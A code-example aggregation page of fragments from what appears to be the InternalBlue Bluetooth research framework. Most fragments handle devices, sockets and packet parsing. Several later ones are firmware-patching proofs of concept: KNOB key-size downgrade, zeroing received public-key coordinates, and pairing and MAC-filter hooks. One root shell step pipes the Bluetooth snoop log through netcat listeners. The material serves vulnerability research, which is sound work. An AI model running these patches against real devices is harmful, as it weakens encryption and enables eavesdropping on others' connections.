Exemplo n.º 1
0
    def device_list(self):
        """
        Return a list of connected hci devices.
        """
        if self.replay:
            return [(self, "hci_replay", "hci: ReplaySocket")]
        device_list = []
        for dev in self.getHciDeviceList():
            log.info("HCI device: %s  [%s]  flags=%d<%s>" % (
                dev["dev_name"],
                dev["dev_bdaddr"],
                dev["dev_flags"],
                dev["dev_flags_str"],
            ))
            device_list.append((
                self,
                dev["dev_name"],
                "hci: %s (%s) <%s>" %
                (dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"]),
            ))

        if len(device_list) == 0:
            log.info("No connected HCI device found")

        return cast("List[Device]", device_list)
Exemplo n.º 2
0
    def _setupSockets(self):
        self.hciport = random.randint(60000, 65535 - 1)
        log.debug(
            "_setupSockets: Selected random ports snoop=%d and inject=%d"
            % (self.hciport, self.hciport + 1)
        )
        log.info(
            "Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d"
            % (self.hciport, self.hciport + 1)
        )

        # Create s_snoop socket
        self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.s_snoop.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.s_snoop.bind(("127.0.0.1", self.hciport))
        self.s_snoop.settimeout(0.5)
        self.s_snoop.setblocking(True)

        # Create s_inject
        self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.s_inject.settimeout(0.5)
        self.s_inject.setblocking(True)

        # Create IOBluetoothExtended Object that listens for commands,
        # sends them to the Bluetooth chip and replies via UDP socket.
        if not self.replay:
            self.iobe = IOBE.alloc().initWith_and_(
                str(self.hciport + 1), str(self.hciport)
            )
        else:
            self.iobe = None
        time.sleep(0.5)

        return True
Exemplo n.º 3
0
    def device_list(self):
        """
        Get a list of connected devices
        """

        # prevent access on non-available socket if usbmuxd failed
        if self.muxconnecterror:
            return []

        if self.exit_requested:
            self.shutdown()

        if self.running:
            log.warn("Already running. Call shutdown() first!")
            return []

        # because we need to call process for every device that is connected
        # and we don't really know how much are connected, we just call process
        # 8 times (which should be a reasonable limit for the amount of connected
        # iOS devices) with a very short timeout.
        for i in range(0, 8):
            self.mux.process(0.01)

        self.devices = self.mux.devices
        if not self.devices:
            log.info("No iOS devices connected")

        device_list = []
        for dev in self.devices:
            dev_id = "iOS Device (" + dev.serial.decode("utf-8") + ")"
            device_list.append((self, dev, dev_id))

        return device_list
Exemplo n.º 4
0
    def _getLatestH4Blob(self, new_data: bytes = b""):
        data_out: bytes = b""
        self.buffer += new_data
        if len(self.buffer) > 0:

            # if the buffer is too small, wait for more data
            if len(self.buffer) < 5:
                return (None, False)
            else:
                # log.info(self.buffer[0].encode("hex"))
                # for ACL data the length field is at offset 3
                if self.buffer[0] == 0x2:
                    acl_len = struct.unpack_from("h", self.buffer[3:])[0]
                    required_len = acl_len + 5
                # for HCI cmd data the length is at offset 3 (but just one byte)
                elif self.buffer[0] == 0x1:
                    hci_len = struct.unpack_from("b", self.buffer[3:])[0]
                    required_len = hci_len + 4
                # for HCI event data the length is at offset 2 (one byte)
                elif self.buffer[0] == 0x4:
                    hci_len = struct.unpack_from("b", self.buffer[2:])[0]
                    required_len = hci_len + 3
                # for BCM data the length should always be 64
                elif self.buffer[0] == 0x07:
                    required_len = 64
                else:
                    raise ValueError(
                        "Could not derive required_len from buffer")

                # if we don't have all the data we need, we just wait for more
                if len(self.buffer) < required_len:
                    # log.info("Not enough data, expected %d, got %d", required_len, len(self.buffer))
                    return (None, False)
                # might be the case that we have too much
                elif len(self.buffer) > required_len:
                    log.info(
                        "Got too much data, expected %d, got %d",
                        required_len,
                        len(self.buffer),
                    )
                    surplus = len(self.buffer) - required_len
                    new_buffer = self.buffer[required_len:len(self.buffer)]
                    data_out = self.buffer[:-surplus]
                    # log.info("new_buffer: %s, data_out: %s", new_buffer.encode("hex"), data_out.encode("hex"))
                    self.buffer = new_buffer
                    return (data_out, True)
                # sometimes we even have just the right amout of data
                else:
                    # log.info("Got exactly the right amount of data")
                    data_out = self.buffer
                    self.buffer = b""
                    return (data_out, False)
        else:
            return (None, False)
Exemplo n.º 5
0
 def local_connect(self):
     """
     Start the framework by connecting to the iOS bluetooth device proxy via
     TCP
     """
     if not self._setupSockets():
         log.critical("No connection to iPhone.")
         log.info(
             "Check if\n -> Bluetooth is deactivated in the iPhone settings\n -> internalblue-ios-proxy is running\n -> the proxied port is accesible from this machine"
         )
         return False
     return True
Exemplo n.º 6
0
 def local_connect(self):
     """
     Start the framework by connecting to the iOS bluetooth device proxy via
     TCP
     """
     if not self._setupSockets():
         log.critical("No connection to iPhone.")
         log.info("Check if\n \
             -> Bluetooth is deactivated in the iOS device's settings\n \
             -> internalblued is installed on the device\n \
             -> the device is connected to this computer via USB\n \
             -> usbmuxd is installed on this computer")
         return False
     return True
Exemplo n.º 7
0
def hciKnobCallback(record):
    """
    Adds a new callback function so that we do not need to call Wireshark.
    """
    hcipkt = record[0]
    if not issubclass(hcipkt.__class__, hci.HCI_Event):
        return

    if hcipkt.event_code == 0x0e:
        if u16(hcipkt.data[1:3]) == 0x1408:  # Read Encryption Key Size
            if hcipkt.data[3] == 0x12:       # Error
                log.info("No key size available.\n"
                         " - Did you already negotiate an encrypted connection?\n"
                         " - Did you choose the correct connection handle?\n")
            else:
                log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))

    return
Exemplo n.º 8
0
    def local_connect(self):
        """
        Start the framework by connecting to the Bluetooth Stack of the Android
        device via adb and the debugging TCP ports.
        """

        # Connect to adb device
        context.device = self.interface

        # setup sockets
        # on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
        if not self.serial:
            if not self._setupSockets():
                log.info("Could not connect using Bluetooth module.")
                log.info(
                    "Trying to set up connection for rooted smartphone with busybox installed."
                )
            else:
                return True  # successfully finished setup with bluetooth.default.so

        if not self._setupSerialSu():
            log.critical("Failed to setup scripts for rooted devices.")
            return False

        # try again
        if not self._setupSockets():
            log.critical("No connection to target device.")
            log.info(
                "Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
            )
            return False

        return True
Exemplo n.º 9
0
    def bringHciDeviceUp(self, dev_id):
        """
        Uses HCIDEVUP ioctl to bring HCI device with id dev_id up.
        Requires root priviledges (CAP_NET_ADMIN).
        """

        if dev_id < 0 or dev_id > 16:
            log.warn("bringHciDeviceUp: Invalid device id: %d." % dev_id)
            return False

        # Open bluetooth socket to execute ioctl's:
        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW,
                          socket.BTPROTO_HCI)

        # Do ioctl(s, HCIDEVUP, dev_id) to bring device up:
        try:
            fcntl.ioctl(s.fileno(), HCIDEVUP, dev_id)
            s.close()
            log.info("Device with id=%d was set up successfully!" % dev_id)
            return True
        except IOError as e:
            s.close()
            log.warn("Error returned by ioctl: %s" % str(e))
            return False
Exemplo n.º 10
0
    def device_list(self):
        """
        Get a list of the connected devices
        """

        if self.exit_requested:
            self.shutdown()

        if self.running:
            log.warn("Already running. call shutdown() first!")
            return []

        if self.replay:
            return [(self, "adb_replay", "adb: ReplayDevice")]
        # Check for connected adb devices
        try:
            adb_devices = adb.devices()
        except ValueError:
            log.info(
                "Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
            )
            adb_devices = 0
        except:
            adb_devices = 0

        if adb_devices == 0 or len(adb_devices) == 0:
            log.info("No adb devices found.")
            return []

        # At least one device found
        log.info("Found multiple adb devices")

        # Enumerate over found devices and put them into an array of tupple
        # First index is a self reference of the class
        # Second index is the identifier which is passed to connect()
        # Third index is the label which is shown in options(...)
        device_list = []
        for d in adb_devices:
            device_list.append(
                (self, d.serial, "adb: %s (%s)" % (d.serial, d.model)))

        return device_list
Exemplo n.º 11
0
    def _setupSerialSu(self):
        """
        To run on any rooted device, we can also use some shellscripting.
        This is slower but at least works on any device.
        Commands on a S10e with Samsung Stock ROM + Magisk + busybox:

             tail -f -n +0 /data/log/bt/btsnoop_hci.log | nc -l -p 8872

             nc -l -p 8873 >/sdcard/internalblue_input.bin
             tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1

        Locations of the Bluetooth serial interface and btsnoop log file might differ.
        The second part *could* be combined, but it somehow does not work (SELinux?).

        The ADB Python bindings will kill the processes automatically :)

        """

        # In sending direction, the format is different.
        self.serial = True

        saved_loglevel = context.log_level
        context.log_level = "warn"

        try:
            # check dependencies
            if adb.which("su") is None:
                log.critical("su not found, rooted smartphone required!")
                return False

            if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
                log.critical("nc not found, install busybox!")
                return False

            # automatically detect the proper serial device with lsof
            logfile = (adb.process([
                "su", "-c",
                "lsof | grep btsnoop_hci.log | tail -1 | awk '{print $NF}'"
            ]).recvall().strip().decode("utf-8"))
            log.info("Android btsnoop logfile %s...", logfile)
            interface = (adb.process([
                "su", "-c",
                "lsof | grep bluetooth | grep tty | awk '{print $NF}'"
            ]).recvall().strip().decode("utf-8"))
            log.info("Android Bluetooth interface %s...", interface)

            if logfile == "":
                log.critical(
                    "Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
                )
                return False

            if interface == "":
                log.critical(
                    "Could not find Bluetooth interface. Enable Bluetooth.")
                return False

            # spawn processes
            adb.process(
                ["su", "-c",
                 "tail -f -n +0 %s | netcat -l -p 8872" % logfile])
            adb.process([
                "su", "-c", "netcat -l -p 8873 >/sdcard/internalblue_input.bin"
            ])
            adb.process([
                "su", "-c",
                "tail -f /sdcard/internalblue_input.bin >>%s" % interface
            ])
            sleep(2)

        except PwnlibException as e:
            log.warn("Serial scripting setup failed: " + str(e))
            return False
        finally:
            context.log_level = saved_loglevel

        return True
Exemplo n.º 12
0
    def _recvThreadFunc(self):
        """
        This is the run-function of the recvThread. It receives HCI events from the
        s_snoop socket. The HCI packets are encapsulated in btsnoop records (see RFC 1761).
        Received HCI packets are being put into the queues inside registeredHciRecvQueues and
        passed to the callback functions inside registeredHciCallbacks.
        The thread stops when exit_requested is set to True. It will do that on its own
        if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
        """

        log.debug("Receive Thread started.")

        while not self.exit_requested:
            # Little bit ugly: need to re-apply changes to the global context to the thread-copy
            context.log_level = self.log_level

            # Read the record header
            record_hdr = b""
            while not self.exit_requested and len(record_hdr) < 24:
                try:
                    recv_data = self.s_snoop.recv(24 - len(record_hdr))
                    log.debug("recvThreadFunc: received bt_snoop data " +
                              bytes_to_hex(recv_data))
                    if len(recv_data) == 0:
                        log.info(
                            "recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
                        )
                        self.exit_requested = True
                        break
                    record_hdr += recv_data
                except socket.timeout:
                    pass  # this is ok. just try again without error

            if not record_hdr or len(record_hdr) != 24:
                if not self.exit_requested:
                    log.warn(
                        "recvThreadFunc: Cannot recv record_hdr. stopping.")
                    self.exit_requested = True
                break

            if self.write_btsnooplog:
                self.btsnooplog_file.write(record_hdr)
                self.btsnooplog_file.flush()

            orig_len, inc_len, flags, drops, time64 = struct.unpack(
                ">IIIIq", record_hdr)

            # Read the record data
            record_data = bytearray()
            while not self.exit_requested and len(record_data) < inc_len:
                try:
                    recv_data = self.s_snoop.recv(inc_len - len(record_data))
                    if len(recv_data) == 0:
                        log.info(
                            "recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
                        )
                        self.exit_requested = True
                        break
                    record_data += bytearray(recv_data)
                except socket.timeout:
                    pass  # this is ok. just try again without error

            if not record_data or len(record_data) != inc_len:
                if not self.exit_requested:
                    log.warn("recvThreadFunc: Cannot recv data. stopping.")
                    self.exit_requested = True
                break

            if self.write_btsnooplog:
                self.btsnooplog_file.write(record_data)
                self.btsnooplog_file.flush()

            try:
                parsed_time = self._btsnoop_parse_time(time64)
            except OverflowError:
                parsed_time = None

            # Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
            record = (
                hci.parse_hci_packet(record_data),
                orig_len,
                inc_len,
                flags,
                drops,
                parsed_time,
            )

            log.debug("_recvThreadFunc Recv: [" + str(parsed_time) + "] " +
                      str(record[0]))

            # Put the record into all queues of registeredHciRecvQueues if their
            # filter function matches.
            for queue, filter_function in self.registeredHciRecvQueues:
                if filter_function == None or filter_function(record):
                    try:
                        queue.put(record, block=False)
                    except queue2k.Full:
                        log.warn(
                            "recvThreadFunc: A recv queue is full. dropping packets.."
                        )

            # Call all callback functions inside registeredHciCallbacks and pass the
            # record as argument.
            for callback in self.registeredHciCallbacks:
                callback(record)

            # Check if the stackDumpReceiver has noticed that the chip crashed.
            # if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
            # A stack dump has happend!
            # log.warn("recvThreadFunc: The controller sent a stack dump.")
            # self.exit_requested = True

        log.debug("Receive Thread terminated.")
Exemplo n.º 13
0
def lereceiveStatusCallback(record):
    """
    RXDN Callback Function

    Depends on the raspi3_rxdn.py or eval_rxdn.py script,
    which patches the _connTaskRxDone() function and copies
    info from the LE connection struct to HCI.
    """

    hcipkt = record[0]  # get HCI Event packet

    if not issubclass(hcipkt.__class__, hci.HCI_Event):
        return

    if hcipkt.data[0:4] == "RXDN":
        data = hcipkt.data[4:]

        # Raspi 3 gets errors
        if len(data) < 239:
            return

        #if raspi or s8:
        packet_curr_nesn_sn = u8(data[0xa0])

        #elif eval:
        #    packet_curr_nesn_sn = u8(data[0xa4])

        packet_channel_map = data[0x54:0x7b]
        packet_channel = data[0x83]
        packet_event_ctr = u16(data[0x8e:0x90])
        packet_rssi = data[0]

        if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
            log.info("             ^----------------------------- ERROR --------------------------------")

        # currently only supported by eval board: check if we also went into the process payload routine,
        # which probably corresponds to a correct CRC
        # if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
        #    log.debug("             ^----------------------------- MISSED -------------------------------")

        # TODO example for setting the channel map
        # timeout needs to be zero, because we are already in an event reception routine!
        # self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)

        internalblue.last_nesn_sn = packet_curr_nesn_sn

        # draw channel with rssi color
        color = '\033[92m'  # green
        if 0xc8 > packet_rssi >= 0xc0:
            color = '\033[93m'  # yellow
        elif packet_rssi < 0xc0:
            color = '\033[91m'  # red

        channels_total = packet_channel_map[37]
        channel_map = 0x0000000000
        if channels_total <= 37:  # raspi 3 messes up with this during blacklisting
            for channel in range(0, channels_total):
                channel_map |= (0b1 << 39) >> packet_channel_map[channel]

        log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
                                                                      (packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
                                                                      color, ' ' * packet_channel))
Exemplo n.º 14
0
    // branch back to _connTaskRxDone + 4
    //b     0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM
    //b     0x134504 // August 30 Nightly Build
    b 0x%x

""" % (RX_DONE_HOOK_ADDRESS+4)

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
    log.critical("Installing patch for _connTaskRxDone failed!")
    exit(-1)


# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
Exemplo n.º 15
0
    def handleEvalStackDump(self, hcipkt):
        """
        Handles a core dump from the evaluation board. To trigger a dump execute:
            sendhcicmd 0xfc4e e81e2000
        This executes some memory set to ffff which is an invalid command.
        Many events like executing address 0x0 will only crash the chip but not
        trigger a proper stack dump.

        The evaluation board has quite a lot of memory, RAM dump takes ages...

        dbfw_coredump_exception_cm3() generates the following dumps:
            2c: CoreDumpInfo
            2c: CoreDumpCPURegs
            90: CoreDumpCPURegsExtend
            f0: CoreDumpRAMImage
            78: CoreDumpRAMImage EOF
            9c: CoreDumpHWRegs
            01: CoreDumpEnd

        :param hcipkt: stack dump packet
        :return: returns True if dump could be decoded.
        """
        checksum_correct = self.verifyChecksum(hcipkt.data[3:])
        packet_type = u8(hcipkt.data[2])

        log.debug("packet type %x", packet_type)

        # TODO CoreDumpInfo (shows LMP/HCI version, memory dumps)

        # CoreDumpCPURegs
        if packet_type == 0x2C:
            data = hcipkt.data[4:]
            values = [u32(data[i:i + 4]) for i in range(0, 64, 4)]
            log.debug("Stack Dump (%s):\n%s" % (
                "checksum correct"
                if checksum_correct else "checksum NOT correct",
                "\n".join([hex(x) for x in values]),
            ))
            if data[0] == "\x02":
                # This is the second stack dump event (contains register values)
                log.warn(
                    "Received Evaluation Stack-Dump Event (contains %d registers):"
                    % (u8(data[1])))
                registers = (
                    "pc: 0x%08x   lr: 0x%08x   sp: 0x%08x   r0: 0x%08x   r1: 0x%08x\n"
                    % (values[2], values[3], values[1], values[4], values[5]))
                registers += (
                    "r2: 0x%08x   r3: 0x%08x   r4: 0x%08x   r5: 0x%08x   r6: 0x%08x\n"
                    % tuple(values[6:11]))
                log.warn(registers)
                return True

        # CoreDumpRAMImage
        # TODO: Eval board produces this twice:
        #  for 0x200000+0x50000 and 0x270000+0x10000
        elif packet_type == 0xF0:
            self.handleRamDump(hcipkt.data[8:])
            return True

        # Last packet produced by CoreDumpRAMImage
        elif packet_type == 0x78:  # RAM dump (last frame), TODO not sure if this works
            # This is the last pkt ouput:
            log.info("End of stackdump block...")
            self.finishStackDump()
            return True

        # On a Raspberry Pi 3, the last packet of a stack dump is '1b0340df0338'.... so it's 0x40
        elif packet_type == 0xE8:
            # FIXME Raspi memdump is divided in two parts!
            # address change from 0001fe38 to packet type e8 and then it's computing addr -0130000
            # negative addr does not work with finishStackDump()
            # so even though the last packet is 0x40, let's just finish on 0xe8
            log.info(
                "End of first stackdump block, writing to file and skipping second..."
            )
            self.finishStackDump()
            return True

        return False
        //mac address list        
        %s   
    
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x
                                for x in WHITELIST_BYTES]))

internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

progress_log = log.info("Writing ASM snippet for LMP MAC address filter.")
code = asm(ASM_SNIPPET_LMP_FILTER, vma=ASM_LOCATION_LMP_FILTER)
if not internalblue.writeMem(
        address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=progress_log):
    progress_log.critical("error!")
    exit(-1)

# all send_lmp functions are in rom...
log.info("Installing MAC address filter hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_LMP_FILTER, vma=HOOK_LMP_FILTER)
if not internalblue.patchRom(HOOK_LMP_FILTER, patch):
    log.critical("error!")
    exit(-1)

# shutdown connection
internalblue.shutdown()
Exemplo n.º 17
0
    def _setupSockets(self):
        """
        Linux already allows to open HCI sockets to Bluetooth devices,
        they include H4 information, we simply use it.
        """

        # Check if hci device is in state "UP". If not, set it to "UP" (requires root)
        device = [
            dev for dev in self.getHciDeviceList()
            if dev["dev_name"] == self.interface
        ]
        if len(device) == 0:
            log.warn("Device not found: " + self.interface)
            return False
        device = device[0]

        if device["dev_flags"] == 0:
            log.warn("Device %s is DOWN!" % self.interface)
            log.info("Trying to set %s to state 'UP' (requires root)" %
                     self.interface)
            if not self.bringHciDeviceUp(device["dev_id"]):
                log.warn("Failed to bring up %s." % self.interface)
                return False

        # TODO unload btusb module and check error messages here to give the user some output if sth fails

        # Connect to HCI socket
        self.s_snoop = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW,
                                     socket.BTPROTO_HCI)
        self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1)
        self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1)
        """
        struct hci_filter {
            uint32_t type_mask;     -> 4
            uint32_t event_mask[2]; -> 8
            uint16_t opcode;        -> 2
        };
        """
        # TODO still seems to only forward incoming events?!
        self.s_snoop.setsockopt(
            socket.SOL_HCI,
            socket.HCI_FILTER,
            b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00",
        )  # type mask, event mask, event mask, opcode

        interface_num = device["dev_id"]
        log.debug("Socket interface number: %s" % interface_num)
        self.s_snoop.bind((interface_num, ))
        self.s_snoop.settimeout(2)
        log.debug("_setupSockets: Bound socket.")

        # same socket for input and output (this is different from adb here!)
        self.s_inject = self.s_snoop

        # Write Header to btsnoop file (if file is still empty):
        if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
            # BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
            btsnoop_hdr = (b"btsnoop\x00" + p32(1, endian="big") +
                           p32(1002, endian="big"))
            with self.btsnooplog_file_lock:
                self.btsnooplog_file.write(btsnoop_hdr)
                self.btsnooplog_file.flush()

        return True
Exemplo n.º 18
0
    // undo registers for our own routine
    mov   r0, r7
    pop   {r1-r7, lr}

    // branch back to _connTaskRxDone + 4
    b     0x35fc0

"""

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
    log.critical("Installing patch for _connTaskRxDone failed!")
    exit(-1)

log.info("--------------------")
log.info(
    "To see statistics, execute 'internalblue' and run 'log_level debug'.")
Exemplo n.º 19
0
    mov r0, r3
    mov r1, r4
    bl 0x48E96  // generate new priv key
    ldr  r2, [r3]
    ands r2, 0x1
    bne generate
    pop  {r4,pc}
"""

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

if internalblue.fw.FW_NAME != "BCM4335C0":
    log.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
    log.info("It does not work on other firmwares (wrong offsets).")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

log.info("Installing hook patches...")
log.info("  - Hook public key receive path to replace y-coordinate with zero")
patch = asm("bl 0x%x" % HOOKS_LOCATION, vma=PK_RECV_HOOK_ADDRESS)
if not internalblue.patchRom(PK_RECV_HOOK_ADDRESS, patch):
    log.critical("Installing patch for PK_recv failed!")
Exemplo n.º 20
0
This PoC is much shorter since it only modifies global variables for key entropy.

"""

internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

log.info(
    "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6)  # connection struct key entropy
internalblue.patchRom(Address(0x530F6), patch)

# modify global variable for own setting
internalblue.writeMem(0x255E8F, b'\x01')  # global key entropy

log.info(
    "-----------------------KNOB-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
    "On Android, this requires a modified bluetooth.default.so.\n"
    "-----------------------KNOB-----------------------\n"
Exemplo n.º 21
0
        
        //branch back into simple_pairing_state_machine_303D4 but without our branch
    locret: 
        b    0x303D8
"""

internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

progress_log = log.info("Writing ASM snippet for NiNo check.")
code = asm(ASM_SNIPPET_IO_CAP_RESP, vma=ASM_LOCATION_IO_CAP_RESP)
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP,
                             data=code,
                             progress_log=progress_log):
    progress_log.critical("error!")
    exit(-1)

# all send_lmp functions are in rom...
log.info("Installing NiNo hook ...")
patch = asm("b 0x%x" % ASM_LOCATION_IO_CAP_RESP, vma=HOOK_IO_CAP_RESP)
if not internalblue.patchRom(HOOK_IO_CAP_RESP, patch):
    log.critical("error!")
    exit(-1)

# shutdown connection
Exemplo n.º 22
0
This PoC is much shorter since it only modifies global variables for key entropy.

"""

internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

log.info(
    "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A)  # connection struct key entropy
internalblue.patchRom(Address(0x7402A), patch)

# modify global variable for own setting
internalblue.writeMem(0x280F13, b'\x01')  # global key entropy

log.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n"
    "-----------------------KNOB-----------------------\n"